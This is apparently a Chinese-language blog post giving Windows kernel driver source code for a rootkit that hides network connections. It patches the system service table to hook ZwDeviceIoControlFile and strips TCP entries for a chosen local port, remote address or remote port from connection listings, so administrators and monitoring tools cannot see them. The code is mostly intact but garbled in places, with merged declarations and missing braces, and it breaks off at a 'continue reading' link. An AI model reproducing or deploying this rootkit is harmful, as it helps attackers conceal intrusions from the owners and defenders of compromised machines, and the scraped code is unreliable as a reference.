天天看點

VC實作Rootkit端口隐藏

#include "ntddk.h"

#include <stdio.h>

#include <tdiinfo.h>

#include <tdistat.h>

#include "netType.h"

#define NT_DEVICE_NAME L"//Device//HidePort"

#define DOS_DEVICE_NAME L"//DosDevices//HidePort"

#pragma pack(1) //SSDT表的結構

typedef struct ServiceDescriptorEntry {

 unsigned int *ServiceTableBase;

 unsigned int *ServiceCounterTableBase; //Used only in checked build

 unsigned int NumberOfServices;

 unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

#pragma pack()

//------------------------- 函數聲明--------------------- [5/22/2008 WinDDK]

NTSTATUS DriverEntry(

    IN PDRIVER_OBJECT  DriverObject,

    IN PUNICODE_STRING  RegistryPath

    );

VOID OnUnload(

    IN PDRIVER_OBJECT  DriverObject

    );

//裝置通訊

NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

//裝置打開關閉

NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

// ------------------------------------------------------ [5/22/2008 WinDDK]

NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile(

  IN HANDLE               FileHandle,

  IN HANDLE               Event OPTIONAL,

  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,

  IN PVOID                ApcContext OPTIONAL,

  OUT PIO_STATUS_BLOCK    IoStatusBlock,

  IN ULONG                IoControlCode,

  IN PVOID                InputBuffer OPTIONAL,

  IN ULONG                InputBufferLength,

  OUT PVOID               OutputBuffer OPTIONAL,

  IN ULONG                OutputBufferLength );

NTSTATUS NTAPI NewZwDeviceIoControlFile(

typedef NTSTATUS (*ZWDEVICECONTROLIOFILE)(

  IN ULONG                OutputBufferLength

  );

ZWDEVICECONTROLIOFILE OldZwDeviceIoControlFile = NULL;

PMDL m_MDL = NULL;

PVOID *m_Mapped = NULL;

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //變量名是不能變的,因為是從外部導入

#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig) /

       _Orig = (PVOID)InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  /

      InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)

#include "HidePort.h"

#pragma alloc_text(INIT,DriverEntry)

#pragma alloc_text(PAGE,OnUnload)

#pragma alloc_text(PAGE,NewZwDeviceIoControlFile)

#pragma alloc_text(PAGE,HideProtDispatchDeviceControl)

#pragma alloc_text(PAGE,HidePortDispatchCreateClose)

VOID OnUnload(IN PDRIVER_OBJECT  DriverObject)

{

 UNICODE_STRING dosDeviceName;

 UNHOOK_SYSCALL(ZwDeviceIoControlFile,OldZwDeviceIoControlFile,NewZwDeviceIoControlFile);

 if(m_MDL){

  MmUnmapLockedPages(m_Mapped,m_MDL);

  IoFreeMdl(m_MDL);

 }

 //------删除裝置對象------ [5/22/2008 WinDDK]

 RtlInitUnicodeString(&dosDeviceName, DOS_DEVICE_NAME);

 IoDeleteSymbolicLink(&dosDeviceName);

 IoDeleteDevice(DriverObject->DeviceObject);

 KdPrint(("驅動解除安裝完畢.../n"));

}

    )

 NTSTATUS ntStatus = STATUS_SUCCESS;

 PDEVICE_OBJECT DeviceObject = NULL;

 UNICODE_STRING ntDeviceName, dosDeviceName;

 BOOLEAN fSymbolicLink = FALSE;

 RtlInitUnicodeString(&ntDeviceName, NT_DEVICE_NAME);

 //建立裝置對象

 ntStatus = IoCreateDevice(

  DriverObject,

  0, // DeviceExtensionSize

  &ntDeviceName, // DeviceName

  FILE_DEVICE_UNKNOWN, // DeviceType

  0, // DeviceCharacteristics

  FALSE, // Exclusive

  &DeviceObject // [OUT]

  );

 if (!NT_SUCCESS(ntStatus))

 {

  KdPrint(("建立裝置對象失敗:%X/n", ntStatus));

  goto __failed;

 ntStatus = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);

 if (!NT_SUCCESS(ntStatus)) {

  KdPrint(("建立符号連結失敗:%X/n", ntStatus));

 fSymbolicLink = TRUE;

 //指定分發

 DriverObject->MajorFunction[IRP_MJ_CREATE]         = HidePortDispatchCreateClose;

 DriverObject->MajorFunction[IRP_MJ_CLOSE]          = HidePortDispatchCreateClose;

 DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HideProtDispatchDeviceControl;

 DriverObject->DriverUnload                         = OnUnload;

 // --------------修改SSDT------------ [5/22/2008 Admin]

 m_MDL = MmCreateMdl( NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4 );

 if(!m_MDL)

  return STATUS_UNSUCCESSFUL;

 //非分頁記憶體

 MmBuildMdlForNonPagedPool(m_MDL);

 m_MDL->MdlFlags = m_MDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

 //鎖定

 m_Mapped = MmMapLockedPages(m_MDL, KernelMode);

 HOOK_SYSCALL(ZwDeviceIoControlFile,NewZwDeviceIoControlFile,OldZwDeviceIoControlFile);

 KdPrint(("驅動啟動成功.../n"));

 return ntStatus;

__failed:

 if (fSymbolicLink)

  IoDeleteSymbolicLink(&dosDeviceName);

 if (DeviceObject)

  IoDeleteDevice(DeviceObject);

NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)

 NTSTATUS ntStatus;

 PIO_STACK_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp);

 PVOID lpInBuffer = NULL;

 ULONG nInBufferSize, nOutBufferSize, dwIoControlCode;

 Irp->IoStatus.Status = STATUS_SUCCESS;

 Irp->IoStatus.Information = 0;

 //獲得輸入緩沖區空間位址

 lpInBuffer = Irp->AssociatedIrp.SystemBuffer;

 nInBufferSize = IrpStack->Parameters.DeviceIoControl.InputBufferLength;

 nOutBufferSize = IrpStack->Parameters.DeviceIoControl.OutputBufferLength; 

 dwIoControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;

 switch (dwIoControlCode)

 case IOCTL_SET_LOCAL_CONTROL:

  {

   HideType = 1;

   memcpy(&LocalPort,lpInBuffer,sizeof(ULONG));

   KdPrint(("設定為本地端口模式...%ld/n",LocalPort));

   break;

  }

 case IOCTL_SET_RHOST_CONTROL:

   HideType = 2;

   memcpy(&RemoteHost,lpInBuffer,sizeof(ULONG));

   KdPrint(("設定為遠端位址模式...0x%x/n",RemoteHost));

 case IOCTL_SET_RPORT_CONTROL:

   HideType = 3;

   memcpy(&RemotePort,lpInBuffer,sizeof(ULONG));

   KdPrint(("設定為遠端端口模式...%ld/n",RemotePort));

 default:

  Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;

  break;

 ntStatus = Irp->IoStatus.Status;

 IoCompleteRequest(Irp, IO_NO_INCREMENT);

NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)

          IN HANDLE               FileHandle,

          IN HANDLE               Event OPTIONAL,

          IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,

          IN PVOID                ApcContext OPTIONAL,

          OUT PIO_STATUS_BLOCK    IoStatusBlock,

          IN ULONG                IoControlCode,

          IN PVOID                InputBuffer OPTIONAL,

          IN ULONG                InputBufferLength,

          OUT PVOID               OutputBuffer OPTIONAL,

          IN ULONG                OutputBufferLength

          )

 TCP_REQUEST_QUERY_INFORMATION_EX req;

 ULONG NumCount = 0;

 ULONG i = 0;

 TCPAddrEntry* TcpTable = NULL;

 TCPAddrExEntry* TcpTableEx = NULL;

 //調用舊函數

 NTSTATUS ntStatus = ((ZWDEVICECONTROLIOFILE)OldZwDeviceIoControlFile)(

  FileHandle,

  Event,

  ApcRoutine,

  ApcContext,

  IoStatusBlock,

  IoControlCode,

  InputBuffer,

  InputBufferLength,

  OutputBuffer,

  OutputBufferLength);

 //判斷是否為查詢TCP連接配接資訊

 if (IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)

  return ntStatus;

 //原函數傳回不成功

 //獲得輸入緩沖區

 memcpy(&req,InputBuffer,sizeof(TDIObjectID));

 if (  (req.ID.toi_entity.tei_entity == CO_TL_ENTITY)

  &&(req.ID.toi_entity.tei_instance == 0)

  &&(req.ID.toi_class == INFO_CLASS_PROTOCOL)

  &&(req.ID.toi_type == INFO_TYPE_PROVIDER)

  ) //判斷是否為端口查詢

  //普通查詢

  if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_ID)

   NumCount = IoStatusBlock->Information / sizeof(TCPAddrEntry);

   TcpTable = (TCPAddrEntry*)OutputBuffer;

   //循環連結清單,找到并修改需要隐藏的端口

   for(i = 0; i < NumCount; i++) {

    //模式為本地端口

    if (HideType == 1) {    

     if( ntohs(TcpTable[i].tae_ConnLocalPort) == LocalPort) {

      KdPrint(("普通隐藏[本地端口] %d/n", ntohs(TcpTable[i].tae_ConnLocalPort)));

      memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));

      NumCount--;

      i--;

     }

    }

    //模式為遠端位址

    if (HideType == 2) {

     if (TcpTable[i].tae_ConnRemAddress == RemoteHost) {

      KdPrint(("普通隐藏[遠端位址] 0x%x/n", TcpTable[i].tae_ConnRemAddress));

    //模式為遠端端口

    if (HideType == 3) {

     if (ntohs(TcpTable[i].tae_ConnRemPort) == RemotePort) {

      KdPrint(("普通隐藏[遠端端口] %d/n", ntohs(TcpTable[i].tae_ConnRemPort)));

   }

   IoStatusBlock->Information = NumCount*sizeof(TCPAddrEntry);

  //帶程序PID的查詢

  if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_EX_ID)

   NumCount = IoStatusBlock->Information / sizeof(TCPAddrExEntry);

   TcpTableEx = (TCPAddrExEntry*)OutputBuffer;

   //循環連結清單

    //為本地端口模式

    if (HideType == 1) {

     if( ntohs(TcpTableEx[i].tae_ConnLocalPort) == LocalPort) {

      KdPrint(("擴充隐藏[本地端口] %d/n", ntohs(TcpTableEx[i].tae_ConnLocalPort)));

      memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));

    //目前為遠端位址模式

     if (TcpTableEx[i].tae_ConnRemAddress == RemoteHost){

      KdPrint(("擴充隐藏[遠端位址] 0x%x/n", TcpTableEx[i].tae_ConnRemAddress));

繼續閱讀